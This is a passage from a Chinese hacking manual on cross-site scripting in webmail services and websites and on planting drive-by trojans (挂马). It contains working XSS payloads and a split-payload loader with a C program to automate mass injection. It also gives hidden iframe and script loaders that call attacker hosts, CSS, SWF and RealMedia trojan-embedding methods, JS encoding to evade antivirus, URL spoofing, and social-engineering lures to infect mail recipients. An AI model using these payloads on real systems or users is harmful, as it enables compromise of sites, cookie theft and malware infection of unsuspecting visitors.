        <select name="sign" size="1" >

        <option value="不使用" selected >不使用</option>

        <option value="1"><script>alert("TOM签名跨站")</script></options>

        //没转换可以发现签名的两个输入框,它只过滤了签名的内容,而签名的提示//确没有。所以这里会有出现了一个跨站漏洞。

        二、21CN邮箱跨站

        1.邮件签名跨站

        21CN有一个邮件签名的功能,他是用来对发出去的每个邮件都签上自己的名字。这个签名可以自己随便设定,如图4-67所示。我们在签名的标题和正文都输入跨站代码

        <script>alert("21cn签名跨站")</script>。点击保存后,就可以跨站了,效果如图4-68所示。

        image

        图4-67

        image

        图4-68

        2.地址本跨站

        21CN还提供了一个地址本的功能,这里可以手工加入用户的邮箱地址,如图4-69所示。输入跨站代码

        <script>alert("21cn地址本跨站")</script>后并没有实现跨站,打开客户端代码:<input size="20" name="Key" value="<script>alert("21cn地址本跨站")</script>">。我们的代码被双引号闭和了,把双引号避开就是我们的任务了,经过一番分析发现

        "><script>alert('21cn地址本跨站')</script><"#可以绕过双引号的封锁,成功的跨站了,如图4-70所示。

        image

        图4-69

        image

        图4-70

        3.邮箱挂马漏洞

        21CN邮箱还有个巨大的漏洞就是可以用来挂马,而且有两个挂马漏洞。我们先来写封邮件,我用的是21CN邮箱给21CN邮箱发的邮件,如图4-71所示。我在邮箱的链接中加入了挂马代码。等我收到邮件后打开,发现出现了漏洞,如图4-72所示。

        image

        图4-71

        image

        图4-72

        这是我们的第一个挂马漏洞,再来测试第二个。我们先发邮件,在邮件的内容中写入挂马代码,如图4-73所示。在我们收到邮件后,肯定要回复邮件拉,那我们点击回复发件人后,就出现了挂马效果了,如图4-74所示。这应该是一个非常大的漏洞了,喜欢挂马的朋友可以疯狂的去发邮件哦。

        image

        图4-73

        image

        图4-74

        三、下载邮件跨站

        首先要声明,TOM邮箱提供两个下载邮件的功能,上面所讲述的是下载后是HTML文件功能的下载方式,而这里说的是下载后是eml格式方式的,这种方式目前TOM、SOHU、21CN、163等国内的邮箱都提供这个功能,目前国内提供这个功能的邮箱都存在这个漏洞。可以变相的用来跨站,而且下载回来的文件格式是eml,如图4-75所示。他是outlook的一种邮件格式,可以用outlook打开。如果用outlook打开是不会出现跨站漏洞的,但是如果把后缀名改成

        HTML格式就出现了跨站。这里拿163和Sohu来测试,如图4-76和图4-77所示。

        image

        图4-75

        image

        image

        image

        图4-76

        图4-77

        四、QQ邮箱跨站 1.邮箱显示昵称跨站

        QQ邮箱借助QQ在国内通讯软件上的统治地位,拥有着非常大的用户群。相对于其他邮箱,它的功能较少,但是比较简洁好用。目前拥有简洁版Beta02和QQMail3.0两个版本。简洁版中有一个邮箱显示呢称的功能,如图4-78所示。

        image

        图4-78

        如果直接输入<script>alert("邮箱显示昵称跨站")</script>并不能够得到跨站效果,下面是返回来的代码:

        <table width="100%" border="0" cellspacing="0" cellpadding="8" class="settingtable">

        <tr>

        <td width="120" align="right" class="settingtd"><b>邮箱显示昵称:</b></td>

        <td class="settingtd"><input name="nickname" type="text" class="txt" value="<script>alert("邮箱显示昵称跨站")</script>" maxlength=32/></td>

        <td align="right" class="settingtd"><b>每页显示:</b></td>

        <td class="settingtd">

        <select name="showcount" class="sel">

        <option value=1 selected="selected">25(推荐)</option>

        <option value=2 >50</option>

        <option value=3 >100</option>

        </select>&nbsp;封邮件

        <script language="javascript"> document.web_set.showcount[1-1].selected = true;

        </script>

        我们发现跨站代码被双引号闭和了,但是可以用标签来突破限制,输入

        image

        image

        "><script>alert("邮箱显示昵称跨站")</script><"即可突破,从而得到跨站,如图4-79所示。

        图4-79

        2.通讯录跨站

        QQ邮箱除了默认的QQ好友邮箱外,还可以自己添加联系人,如图4-80所示。在备注的输入框中可以输入跨站代码,其它地方做了限制,输入<script>alert("通讯录跨站 ")</script>即可看到效果,如图4-81所示。

        image

        image

        image

        图4-80

        图4-81

        五、126邮箱跨站漏洞

        1. RSS阅读跨站

          126邮箱本人认为是国内最专业的,功能也是最齐全的邮箱。但是功能多了,邮箱的结构也就复杂了,安全性自然也就更加艰巨了。在它邮箱服务中,提供了一个RSS的阅读功能,上面有很多的模块,如添加订阅、管理目录和订阅、生成OPML等等。在管理目录和订阅中我们可以自己添加目录,如图4-82。可这里并没有对<和>转换,所以我们输入图片跨站代码<img

          src=javascript:alert("RSS添加目录跨站")></img>后就出现了漏洞,如图4-83所示。

          image

          图4-82

          image

          图4-83

          2.签名跨站

          在个人邮件设置中提供了一个签名的小服务,可以自己修改签名,所以我们输入跨站代码<img src=javascript:alert("签名提示跨站")></img>后得到的结果如图4-84所示。既然不可以有双引号,那么把它改成单引号,不就绕过了,如图4-85所示。

          image

          图4-84

          image

          图4-85

          六、Yahoo邮箱跨站

          Yahoo邮箱也是国内顶尖的一个邮箱服务提供商,功能上并不亚于其他邮箱。在邮件管理的电邮地址中,我们可以自己编辑发件人姓名、回复地址等等一些选项,如图4-86所示。

          image

          图4-86

          我们在上面输入跨站代码后发现可以跨站,但是被双引号闭和了,代码如下:

          <table cellpadding=4 cellspacing=0 border=0 width="100%">

          <tr valign="top">

          <td class="label"><a name=fromname></a>发件人姓名:</td>

          <td>

          <input type=text name="FromName" value="<script>alert("cmd")</script>" class=tf size=20

          maxlength=30>

          <span class="helptext">该姓名将出现在发送邮件的 <em>发件人</em> 一栏中。</span>

          </td>

          </tr>

          <tr valign="top">

          <td class="label"><a name=replyto></a>回复地址:</td>

          <td>

          <input type=text name="ReplyTo" value="<script>alert("cmd")</script>" class=tf size=20

          maxlength=40>

          image

          image

          所以只要输入"><script>alert("cmd")</script><"就可绕开双引号的限制了,如图4-87所示。

          图4-87

          同时在邮件管理中还提供了一个电邮地址通知,它的作用是发送一张卡片给你的朋友通知你的新Yahoo! 电邮地址,如图4-88所示。通过我的测试发现收件人输入框没有的数据进行转换,当然这里和上面一样,被双引号闭和了,所以要输入代码才"><script>alert("电邮地址通知跨站")</script><"才可以跨站,如图4-89所示。

          image

          图4-88

          image

          图4-89

          七、sina邮箱测试

          Sina作为国内最早提供邮箱功能的门户网站之一,其邮箱拥有大量的用户。不过,通过我的测试发现它在对信件的下载处同样没有处理好数据,我给自己发一封邮件,其中邮件主题写上:<script>alert("漏洞咯")</script>。在收到邮箱后,点击“原件下载”,然后把原来的文件的eml后缀名改为HTML,最后保存本地。之后我们打开之后就可以发现存在跨站漏洞,如图4-90所示。

          image

          图4-90

          七、总结

          尽管官方把原来的邮箱漏洞给补上了,但是还是存在着一些地方的参数没有过滤或者转换,让我们依然有机会攻击。最近很多初学的朋友问我,跨站到底有什么用,只是弹出一个对话框来是什么意思?其实跨站漏洞的问题本质上是属于HTML的注入问题,如果没有严格筛选用户输入的数据,那么浏览器就会执行恶意用户所输入的HTML代码。有了跨站其实我们可以做很多事,比如获取Cookies,我们只要输入<script>alert(document.cookie)</script>就可获得Cookie值。更重要的一个运用就是挂马,一般来说可以输入:

          <iframe frameborder=0 width=0 height=0

          src=http://www.haha.com/xixi.html></iframe>来挂马,z这里我用21CN的邮箱来测试,如图14所示,我在邮件的主题和内容上都输入:<iframe src="http://www.baidu.com" width="300" height="300" frameborder="0"></iframe>,等我收到邮件后打开,这个时候就出现了BAIDU的页面了,而且是只要打开邮件就可中马。如果要挂马直接把地址修改成你的木马地址,并把高度和宽度都改成零即可。如果可以引入JS文件,那么还可以在JS文件中写入:document.write("<iframe style='display:none;' src='http://www.haha.com/xixi.html'><iframe>");如果是支持CSS样式,那么我们还可在 CSS代码中加

          入我们的跨站代码,这样的隐蔽性就更加高了。代码如

          body{

          background-image:url('javascript:document.write("<script

          src=http://www.haha.com/xixi.js></script>")')

          }

          对于上述的跨站漏洞,完全可以把跨站代码改成窃取Cookies值的代码或者挂马代码。不过这里要别人中马得用到一点社会工程学的知识,要骗别人去把邮件下载下来。比如对TOM的HTML跨站漏洞我们可以这样欺骗别人,在邮件的内容大致可以这样写:“TOM电影大放送,某某最新电影我们提供在线观看,但必须要把邮件下载到本地后才可得到电影地址。这是我们为了增加访问量而专门开发的一项技术,谢谢您的合作!”。那么只要用户下载了邮件,打开邮件的同时我们的木马地址也打开了,我们的肉鸡就是这样获得了。我想这样对于初学者就明白了跨站的真正目的了吧。这里只是理论上的探讨,如有利用本文技术而触犯法律的行为与本人无关。

          (2)、疯狂的跨站之行——7bao网站漏洞利用浅析

          国内关于跨站漏洞的利用好象再次跌入了低谷,关于跨站利用的讨论已经不像以前那么火了,但是还是发现网络上到处都有Html字符过滤不严的现象出现,无论是大站还是小站,这些问题都还是到处存在,但是重视都不足够。记得在以前的一个文章里我提到了华夏黑客联盟使用的文章系统有js注入漏洞,文章的结尾提到了远程的整站注入但是没有实施,结果还被Lcx叔叔(编辑lcx:我老了,有哪么老吗?)说是一个遗憾,正好最近又遇到了一个类似的情况,于是狠下心来把上次的想法实现了一下,也给大家一个思路,如何将简单的跨站演变为疯狂的行为。7bao.com是国内一家给网络游戏提供交易的平台网站,在一次无意的对它进行安全测试中发现可能存在跨站方面的安全问题。问题出在对装备的评论那里,让我们去看看需要利用的地方所存在什么问题吧!提交评论是需要登陆的,我们还是注册个ID testbadegg登陆之后去提交评论吧。因为问题总是出现在参数提交的地方,在提交评论的地方我们发现可以提交2个参数,一个是联系方法,另一个是留言内容,如图4-91所示。

          image

          图4-91

          因为这里我们测试的是跨站,所以敏感的字符是"和空格以及<>等,那么我们就在联系方法和留言内容里都写上<'hehe">I love you!提交如图4-92,发现程序没有报错哦!那看看程序是怎么处理我们提交的数据吧!一切都是黑盒情况下进行的!所以我们在返回的页面里查看源文件中查找字符“hehe”,发现我们提交的留言里的特殊字符都被过滤掉了,但是显示联系方式的地方没有做任何过滤哦,如图4-93所示。呵呵,这么轻易的就发现了漏洞!不错吧!但是关于跨站的实际利用其实还是有另外一个限制因素的,那就是变量的长度!这里的变量允许输入多长呢?我们再提交一个留言吧!在联系方式里写上50个d然后提交,发现返回的地方只有30个了,如图4-94所示。很明显,联系方式那里的变量最大也只有30个字符的长度,那么现在的问题就是如何利用30个字符的长度写一个有效的跨站代码呢?

          image

          图4-92

          image

          图4-93

          image

          图4-94

          因为这里我们要用自己的script标记,所以必须在<script></script>中用掉了17个字符,剩下13个字符可以自由支配,当然我们就可以用<script>alert('Test')</script>来跨站跨着玩,但是这除了糟人厌恶之外没有任何意义,我们最好引入一个Frame或者一个js代码嘛!那才够有威力!如果我们想用src属性引入一个js代码的话,<script src=></script>用掉了22个字符,剩下8个字符是可以自由支配的,但是到了这个份上,我想8个字符是无论如何也满足不了大家需要的吧,根本无法引入一个有效的Url地址!呵呵!程序是死的,但是我们的思想却是无限的,继续突破吧!注意这里我们是可以重复留言的,也就是说可以提交多个脚本标记,那么我们完全可以利用这个特性将代码拆分做我们想做的事!还要注意一点就是Js脚本的语法特性,多个js代码的话,后面的语句必须先提交才能在页面里让代码顺利执行!

          有了上面的思路让我们继续吧!譬如我们要引http://www.shell.net/1.js这个js文件,然后就我们可以通过控制这个js文件来控制这个网站的页面了,如何做呢?我们可以利用这样的代码:<scriptsrc=//www.shell.net/1.js></script>引入js文件,但是如何引入上面的代码呢?我们可以知道js里面有个对象document.write方法可以在当前页面输入内容,如果我们将上面的代码内容用:document.write('<script src=//www.shell.net/1.js></script>')这样写就可以在当前页面引入js了,而如何执行上面的代码呢?我们又可以用这个函数eval(),这个可以执行某个变量的内容,至于如何控制变量,在这里我们是可以解决的,方法如下:

          <script>z='document.'</script>

          <script>z=z+'write("'</script>

          <script>z=z+'<script'</script>

          <script>z=z+' src=ht'</script>

          <script>z=z+'tp://ww'</script>

          <script>z=z+'w.shell'</script>

          <script>z=z+'.net/1.'</script>

          <script>z=z+'js></sc'</script>

          <script>z=z+'ript>")'</script>

          <script>eval(z)</script>

          上面的代码是引入一个字符串变量z,将document.write('<script src=//www.shell.net/1.js></script>')拆开,分多次将其嵌入到变量z中,最后通过eval(z)执行需要的代码,这在狭小的用户输入里,也许是唯一的方法!不多说,看看结果吧!如图 4-95所示,呵呵,是不是都乖乖的在页面里了?

          image

          图4-95

          到这里大家也发现这个小漏洞利用起来是很麻烦的事情,每次都要输入10次左右的留言才能对一个ID进行跨站脚本攻击?有没有简便的方法呢?这就要用到上次的文章里的思路了?抓包然后让程序代替我们就可以了哦!随着ID的增加,跟整站被挂马跨站脚本攻击没有什么两样!

          现在是编程时间,也是这次疯狂跨站最耀眼的地方。首先我们挨个发表留言,并且抓包,将得到的数据按顺序放到.txt文件中,为了分别,我将它们命名为0.txt-9.txt,如图4-96所示。

          image

          图4-96

          一定要按照顺序哦,也就是<script>eval(z)</script>这样的代码一定要先发送!注意为了 ID的处理方便我们改变下变量的顺序,将ID放到POST内容的最后,并且变成ID=的形式,这样我们就可以自己组合ID对网站进行程序化的注入了!然后就是代码的构造,我给出的程序主要框架如下:

          void usage();

          void initconnect(); void sendtata(); main()

          {

          if(WSAStartup(MAKEWORD(2,2),&wsa) == 0){

          usage(); //用法函数 initconnect(); //网络连接

          sendtata(); //发送数据包,完成注入 WSACleanup(); //清除数据

          }

          return 0;

          }

          其中initconnect()函数完成网络的初始化并且与目标网站进行连接,代码我就不发出来了,跟其它程序的网络连接函数差不多。剩下的就是利用sendate()函数进行发送数据包的工作! senddate()函数的编写很简单,我写的代码如下:

          int sendtata()

          {

          int sendtime; // 控 制 发 送 的 文 件 char filename[128]="\0";

          FILE *fp1;

          char temp[1024]="\0"; int lread;

          char receive[50000]="\0";

          for(sendtime=0;sendtime<=9;sendtime++)

          {

          filename[0]=(char)(sendtime+48); //读取数据包文件 strcat(filename,".txt");

          if ((fp1=fopen(filename,"r+"))==NULL)

          {

          printf("Error To Open inputFile %s!\r",filename); exit(0);

          }

          printf("Read File %s OK\n",filename);

          while(!feof(fp1))

          {

          fgets(temp,1024,fp1); //发送数据包 send(server,temp,strlen(temp),0); ZeroMemory(temp,sizeof(temp));

          }

          send(server,ID,strlen(ID),0);

          //构造自定义的ID,可以做为全局变量在main函数里控制 lread=recv(server,receive,50000,0); if(debug==1) {puts(receive);}

          if(lread>0) {printf("ID:%s Send %s OK\n",ID,filename);ZeroMemory(receive,50000);ZeroMemory(filename,sizeof(filenam e));}

          fclose(fp1); ZeroMemory(filename,sizeof(filename)); Sleep(1000);

          }

          printf("\n############## ID:%s Injected OK!

          #################\n",ID);

          return 0;

          }

          这样编译出来的程序运行下,感觉还不错,如图4-97所示。呵呵,挂在肉鸡上进行疯狂的注入吧!尽管是单线程并且为了代码的有效性,严格控制了时间,但是注入速度还是很快的!打开个页面看看效果吧!哈哈!还不错,如图4-98所示。

          image

          图4-97

          image

          图4-98

          一个小的漏洞利用起来危害还是很大的,这次把Lcx大叔说的遗憾终于完美的解决,也算不错的!在实际的跨站以及其他利用中,环境各不相同,如何发挥自己的想象力达到自己

          想要的目的才是一个入侵者必备的素质。谢谢大家听完我罗嗦,有什么问题到论坛讨论,我的ID是剑心。

          编辑点评:一个巧妙的思路,解决了在7bao.com网站30个字符长度内跨站的问题。根据这个思路,我数了一下,最小的有效利用的代码可以缩减到26个字母,就是写成类似

          <script>z=z+'d"'</script>这样的形式(好像双引号和加号不可以少)。当然也希望读者来挑战更短更小的跨站代码,让我们的跨战技术更精彩更疯狂。

          (3)、由在华夏黑客联盟挂马谈跨站脚本攻击之js注入

          上次在QQ上有个叫猪什么的告诉我说华夏黑客联盟上有跨站脚本攻击漏洞,让我去看 看,我想这样的站应该没有什么问题吧,不然还不让人给跨站跨疯了?但是等我跑去一看,还真的有问题哦!不过利用和探测起来跟其他站点的有点不一样,其它时候的跨站我们是直接提交数据到数据库,然后程序取出数据注入到Html的,因此要支持Html的语法就可以了,但是这次很有点特别的哦!因为我们的数据没有被直接返回,而是注入到js也就是 javascript脚本里面返回给浏览器用<script src=fuck.js>这样的形式调用的!这样说可能大家有点不明白,还是一步步地来探测吧!

          问题是出在评论提交的地方,看看提交的参数比较多,所以应该很容易出问题。我们尽量将每个参数都测试到,最保险的黑盒方法是将其它参数保留为对的,然后将某个参数替换,插入我们要探测的字符如<和'等等,依据返回的错误等信息来判断程序是如何处理参数的!我比较怕麻烦,就直接测试名字和主页两个参数吧!测试情况如图4-99所示,发表后结果如图4-100那样,呵呵,成功返回,没有过滤的样子,但是只是成功了一半!

          image

          图4-99

          image

          图4-100

          如果程序将字符转换了再放到数据库中还是白搭!去查看评论的地方,看看返回的信息吧!搜索我们刚才发表的内容,明明显示了发表的是hehe,但居然搜索不到这个字,如图4-101所示。晕!看看他怎么搞的!找到关键的地方,如图4-102所示,嘿嘿,是通过引入js来显示提交的内容啊!看那个/article/comment.asp?action=js&article=59330就是生成的js 地址,访问然后查看源代码,这下子过滤的方式就清楚了,如图4-103所示。看看,我们提交什么它就直接显示什么哦!没有什么过滤!今天的问题就来了:当我们提交的数据是在js里面而不是在Html里的时候该怎么办呢?也就是js注入的问题了!

          image

          图4-101

          image

          图4-102

          image

          图4-103

          首先看看js的语法和我们的参数在js里有什么限制。其实js语法有的我也不太清楚,在 js文件里的时候,js语句是用;隔开的,""引入表示字符串,函数的参数包括在()里面,各个参数用空格分开。而我们提交的内容在document.write("");这个语句里面,这个语句的作用是将函数的参数也就是中间的字符串显示在页面上。那么我们想注入js的话有两个方式可以选择,第一是在不破坏其语句的情况下利用它的语句在页面插入代码,第二个是干脆

          Kiil掉其语句自己加语句进来。

          ①、js语句闭合插入跨站

          看看第一种方式吧!因为是利用它的语句,所以我们的的语句里不能有"也不能有),不然IE会解释不了的!我们分析下它的js数据看看:

          document.write("<table width='100%' align='center' border='0' cellspacing='1' cellpadding='2' class='title'><tr class='tdbg_rightall' align='center'><td>评论人</td><td>评论内容</td><td>评论时间</td><td>打分</td></tr><tr bgcolor='white'><td align='center' width='80'>【<span title='类别:游客\n姓名: jnc\n信箱:ddd@163.com\nOicq:159951\n主页:http://jnc'

          style='cursor:hand'>jnc</span>】</td><td>ddd</td><td align='center' width='120'>2005-12-31 20:26:46</td><td align='center' width='40'>2分

          </td></tr></table><div align='center'><a

          href='/Article/Comment.asp?ArticleID=59341&Action=ShowAll'>查看评论详细内容及更多评论</a></div>");

          呵呵,我们的参数如主页什么的,都是在一个'之内的哦!就是在<span title='之内的,如果我们要构造自己的语句,简单点的如<script>alert("剑心")</script>,想变化多点就用<script src=http://www.cnbct.org/1.js></script>这样的,然后控制1.js内容就可以做很多事了!用前面的来说明吧,我们不能用"和)一起,所以换下成为<script>alert('剑心')</script>,但是这样的话,'和前面的那个'匹配就会把结构弄坏啦!郁闷吧!如果没有单引号的话,我们所构造的语句就不能够执行!不信用<script>alert()</script>试试,什么都没有发生吧!这应该是它的什么css样式决定的,我们变不了!但是不可以放弃啊,既然是注入,那就跟Sql注入一样玩填字游戏吧!先用'让前面的变量结束,然后用>让它的什么<span标签结束,现在构造自己的语句,然后为了看起来正常点就再给它个<span

          title='匹配后面它孤独的/span>吧!语句加起来就是主页那里提交的

          '>ddd<script>alert('剑心')</script><span title=',就可以跨站了,中间跨站字符可以任意改的!本机测试成功本来是要马上去华夏显摆一下的,但是郁闷的是管理员关了评论!郁闷啊!不过还好,我还有他原来的一个js,里面有位信息猎手的兄弟也在测试,但是他没有成功,如图4-104所示。大家对照我的看看就知道为什么他没有成功了,他只是提交跨站字符,没有想到匹配什么的!

          image

          图4-104

          ②、js语句注释插入跨站

          第二种跨站方式更爽的!呵呵,Sql语句支持多句查询,我们js也支持的!首先用'");闭合前面的语句,然后构造自己的语句,再用document.write("闭和后面的语句就可以了。什么?你嫌闭和麻烦?那就用//直接注释算了!呵呵!当然,这里要求你熟悉一定的js语句。为了方便大家,我这里就把js注入的语句写出来!在主页提交: '</span>");document.write("<script src=http://www.cnbct.org/1.js></script>");

          //,这样的格式就可以实现js跨站注入了,

          document.write("<script src=http://www.cnbct.org/1.js></script>");是我们的注入语句,可以引入一个js,这样长度就没有什么问题了!我经常跨站注入的js如下: document.write("<iframe style='display:none;' src='http://jnc.cnbct.org/mm.htm'></iframe>"); //引入不可见frame,随便你做什么了

          document.title="HackED_BY_剑心" //利用属性显示被黑的标题,纯粹是显摆// document.images[0].src='http://jnc.cnbct.org/fuck.jpg'; //将第一张图片

          logo显示为我站上的fuck.jpg,还是显摆

          //反正是页面的所有属性都可以改的啦!想做什么不行呢!有表单的话改表单,有Cookie 的话偷Cookie,或者干脆location增加自己的访问量都可以的哦!只有想不到没有做不到。

          js的浅显注入基本上讲完了,跟其它的脚本注入差不多的!也许你说就一个页面的跨站而已嘛!没什么大不了!但是再考虑下,这应该是最新的动易系统了,发表评论是没有验证码的,再看看文章是用ID分辨的,那好!抓取数据包后写程序修改提交的地址和ID的内容,不就可以整站整站的js注入了么?跟站被人黑了被人挂马了有什么两样?用C很容易就可以实现的!我测试的时候华夏黑客联盟已经封了发表评论,所以是自己分析的,在变量长度上我也没有看代码,实地测试大家受到限制就不要PK我哦,介绍个思路!也可以看看源代码,查下是它是怎么过滤的,看看其他的地方还有没有问题!下载啊什么的应该都有问题的!在此真诚地感谢QQ上的和生活上的好友,还有我的女朋友,还有非安全,祝愿大家在新的一年都有新的开始吧!文章比较简单,有什么问题到论坛讨论,我的ID是剑心大人。

          编辑点评:又是一篇不错的研究js跨站的文章。随着服务端语言(asp、php、cfm等)漏洞的减少,现在越来越多的攻击已经转向到了客户端语言,如跨站、网页木马等,这应当是当前和今后黑客的一个重要入侵方式。仔细学一下dhtml、hta等,你会发现它们强大得令人不敢相信。不过作者只是针对华夏网站系统做了一个思路和本机测试,没有远程实践,有点遗憾。

      4. 细谈挂马

        在前面我已经多次提到了挂马技术,特别是在第三章中,已经断断续续把各种挂马技术给大家介绍了。但是这并代表就对挂马就非常精通了。而且挂马不仅仅是利用跨站漏洞来挂,同样可以利用我们得到webshell和肉鸡来挂马,而且这种挂马往往更加有效,比如我们入侵电信的一台虚拟主机,已经得到了webshell,但是往往我们的最终目的是入侵到其站点的办公内网,那么这个时候依靠网页木马就是一个非常好的选择了,至于怎么样得到

        webshell在第二章已经给大家介绍了。在本节中,将引用LCX写的《挂马的技巧》给大家介绍挂马的各种方法和技巧,让大家成为挂马的行家。

        (1)、挂马的N种方法

        ①.html挂马法。常规的html挂马方法一般是在网页中插入一条iframe语句,像<iframe src=http://www.xxx.com/muma.html width=0 height=0></iframe>。大家现在都被挂马挂怕了,所以查看站点是否被挂,一般是查找一下关键词iframe。

        ②.再隐蔽一点的话就是js挂马了。像在原来的网页中写入<script

        src=http://www.xxx.com/muma.js></script>。muma里的js写法一般为

        document.write('http:\/\/www.xxx.com\/muma.html');,或者专业一点的写法是 top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="http://www.xxx.com/muma.htm/"></iframe>';。不过第2种写法要注意:是原来的网页中要有body标签。

        ③.css中挂马。这个方法以前并没有人提到过,我在win2ksp2客户端是访问成功,2003客户端受限。就是在css中写入:

        body {

        hytop: expression(top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="http://www.xxx.com/muma.html/"></iframe>');

        }

        然后再在主页中调用这个css,代码类似<link href="css.css" rel="stylesheet"

        type="text/css">这样的。在csdn中对expression的解释是:IE5及其以后版本支持在CSS中使用expression,用来把CSS属性和Javascript表达式关联起来,这里的CSS属性可以是元素固有的属性,也可以是自定义属性。就是说CSS属性后面可以是一段Javascript表达式, CSS属性的值等于Javascript表达式计算的结果。在表达式中可以直接引用元素自身的属性和方法,也可以使用其他浏览器对象。这个表达式就好像是在这个元素的一个成员函数中一样。这个解释关键点是expression可以在css中引入js语句,所以我们可用于挂马。不过经我测试,我写的语句只可以远程调用,本地不可以。

        ④.在swf中挂马。我在网上下载到了臭要饭的一个swf挂马工具,非常不错,使用方法如图1所示。

        这时候我们可以用此工具替换原来网页中的swf或单独把swf发给某人,或者单独做一个可以显示swf页的网页。在网页中插入swf的语法一般格式为:

        <OBJECT classid=clsid:D27CDB6E-AE6D-11cf-96B8-444553540000

        codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#ve rsion=5,0,0,0 WIDTH=760 HEIGHT=60> <PARAM NAME=movie VALUE=xxx.swf> <PARAM

        NAME=quality VALUE=high> <EMBED src=yyy.swf quality=high pluginspage=http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Vers ion=ShockwaveFlash type=application/x-shockwave-flash width=760 height=60></EMBED></OBJECT>

        ⑤.在影音文件中挂马。像RealMedia Editor修改RM文件挂其它的网马。所需工具是 RealMedia Editor。打开RealMedia Editor.exe。然后点“文件”---“打开Real媒体文件” 即你所要编辑的视频文件,所需要的必须是RealOne公司的产品,以RM,或者是RMVB为扩展名的。新建个文本,在里面输入u 00:00:10.0 00:00:30.0

        &&_rpexternal&&http//www.nohack.cn。 00:00:10.0 就是发生第一个事件的时间,这里我们是要让PC弹出网页 00:00:30.0也是一样,这个是第二次发生的时间,在0时0分第30秒0微秒时弹出窗口。而后面的http//www.nohack.cn即连接指向地址,挂马的时候把它改成你的木马地址即可,保存好。然后点“工具”--“合并事件” 然后导入刚才的文本。稍等一会儿,点“文件”----“Real文件另存为” 保存好即可。最后把你生成的文件发布出去,等别人观看的时候就会连接到你的木马地址了,最后就是等小鸡上线了。

        (2)、挂马的N种技巧

        其实题目二和题目一很难分开的。挂马首先要要求的是隐蔽性,这样才能挂的时间长一点。像在swf、js、rm中挂马就比较隐蔽了。但是我们可以再用到一些技巧。

        1.远程任意后缀执行html的技巧。像你可以完全把muma.html改成muma.jpg之类的后

        缀,然后语句写成<iframe src=http://www.xxx.com/muma.jpg width=0 height=0></iframe>,这是完全可以的。js也可以的,语句为<script src=http://www.xxx.com/muma.jpg></script>,甚至js的不要后缀都可以。

        1. js的加密。为了保护我们网页木马的代码,我们可以把js内容加密,还能起到躲开杀毒软件的作用,如图2所示的Encode加密。加密后的js调用语句就用

        <SCRIPTlanguage="JScript.Encode"src=http://www.xxx.com/muma.txt></script>类似这样的了。我写成了muma.txt,大家应当不会感觉到奇怪吧?我这里只是介绍了一种最常见的 js加密方法,js加密方法无数,大家自己研究吧。

        图 2 3.URL 的 变 形 。 url 变 形 方 法 也 很 多 , 像 图 3 所 示 url 的 16 进 制 转 换 Encod 编 码 。 如 果 是 涉

        及到url欺骗的方法就更多了。不过多数的url欺骗,像利用@的技巧,ie都已经打了补丁了。现在有一个漏洞是仍然有效的,代码如下:

        <p><a id="SPOOF" href="http://spreadfirefox.com"></a></p>

        <div>

        <a href="http://ebay.com" target="_blank">

        <table>

        <caption>

        <a href="http://ebay.com" target="_blank">

        <label for="SPOOF">

        <u style="cursor: pointer; color: blue"> ebay.com

        </u>

        </label>

        </a>

        </caption>

        </table>

        </a>

        </div>图3

        保存该代码成网页后,鼠标移到ebay.com这个链接上,ie的状态栏会显示 http://ebay.com,但点击后却会打开http://spreadfirefox.com网站。如果你的网马可以用ip地址访问到的话,ip地址也可以转换的。像127.0.0.1这样的ip还可以变作2130706433、 0x7f.0x00.0x00.0x01、0177.0000.0000.0001等等,不过是10进制、16进制、8进制的转变而已。

        (3)、如何才能挂到马

        拿到了webshell的话,自然挂马是无往不利。但是拿不到的情况下呢?如果注入点有 update权限,我们可以仔细查找首页中的某条新闻的调用链接,然后update数据库达到我们的目的(update在后面的数据库中会详细讲解)。如果可以进后台,可以比较网站的链接、顶部底部的广告、一些发公告的地方,都可以直接写入你的木马代码等等。后台是灵活的,具体问题具体分析。不过有一点很重要,是不要打乱前台htm源文件里的代码逻辑。

    5. 脚本病毒简介与分析

      脚本(Script)病毒是以脚本程序(如VBScript、JavaScript、PHP)编写成的病毒。实际上,任何语言都可以编写病毒,而用脚本编写病毒则更加的简单,并且编写的病毒具有传播快、破坏力大等特点。例如,爱虫病毒、欢乐时光病毒等,就是利用VBS(VBScript)编写的,称为VBS脚本病毒。万花谷病毒就是利用JS(JavaScript)编写的。脚本病毒必须透过 Microsoft的WSH才能够启动执行以及感染其他文件。由于VBS脚本病毒比较普遍且危害较大,所以这里主要就以VBS来介绍脚本病毒。

      1. WSH简介

        WSH是Windows Scripting Host(Windows脚本宿主)的缩略形式。WSH这个概念最早出现于Windows 98操作系统中,是一个基于32位的Windows平台并独立于语言的脚本运行环境,是一个批次语言/自动执行工具。比如,我们编写了一个脚本文件,后缀名为.vbs或js,然后在Windows下双击并运行它,这个时候,系统就会自动调用一个适当的程序对它进行解释执行,而这个程序就是WScript.exe(如果是在DOS环境下,则为CScript.exe,命令格式为: Cscript FileName.vbs)。

        WScript.exe使得脚本可以被执行,就像执行批处理一样。在WSH脚本环境里预定了一些对象,通过这些内置对象,可以实现获取环境变量、创建快睫方式、加载程序、读写注册表等功能。

        下面我给大家介绍一下 ActiveX 吧,这个东西可是经常出缓冲区溢出漏洞的哦!ActiveX是 Microsoft 提出的一组使用 COM(Component Object Model,部件对象模型)使得软件部件在网络环境中进行交互的技术集。它与具体的编程语言无关。作为针对 Internet 应用开发的技术,ActiveX 被广泛应用于 WEB 服务器以及客户端的各个方面。同时,ActiveX 技术也被用于方便地创建普通的桌面应用程序。ActiveX 既包含服务器端技术,也包含客户端技术。其主要内容是:

        ①、ActiveX 控制(ActiveX Control);用于向 WEB 页面、Microsoft Word 等支持 ActiveX

        的容器(Container)中插入 COM 对象。

        ②、ActiveX 文档(ActiveX Document);用于在 WEB Browser 或者其它支持 ActiveX 的容器中浏览复合文档(非 HTML 文档),例如 Microsoft Word 文档,Microsoft Excel 文档或者用户自定义的文档等。

        ③、ActiveX 脚本描述(ActiveX Scripti ng);用于从客户端或者服务器端操纵 ActiveX

        控制和 Java 程序,传递数据,协调它们之间的操作。

        ④ActiveX 服务器框架(ActiveX Server Fra mework);提供了一系列针对 WEB 服务器应用程序设计各个方面的函数及其封装类,诸如服务器过滤器、HTML 数据流控制等。

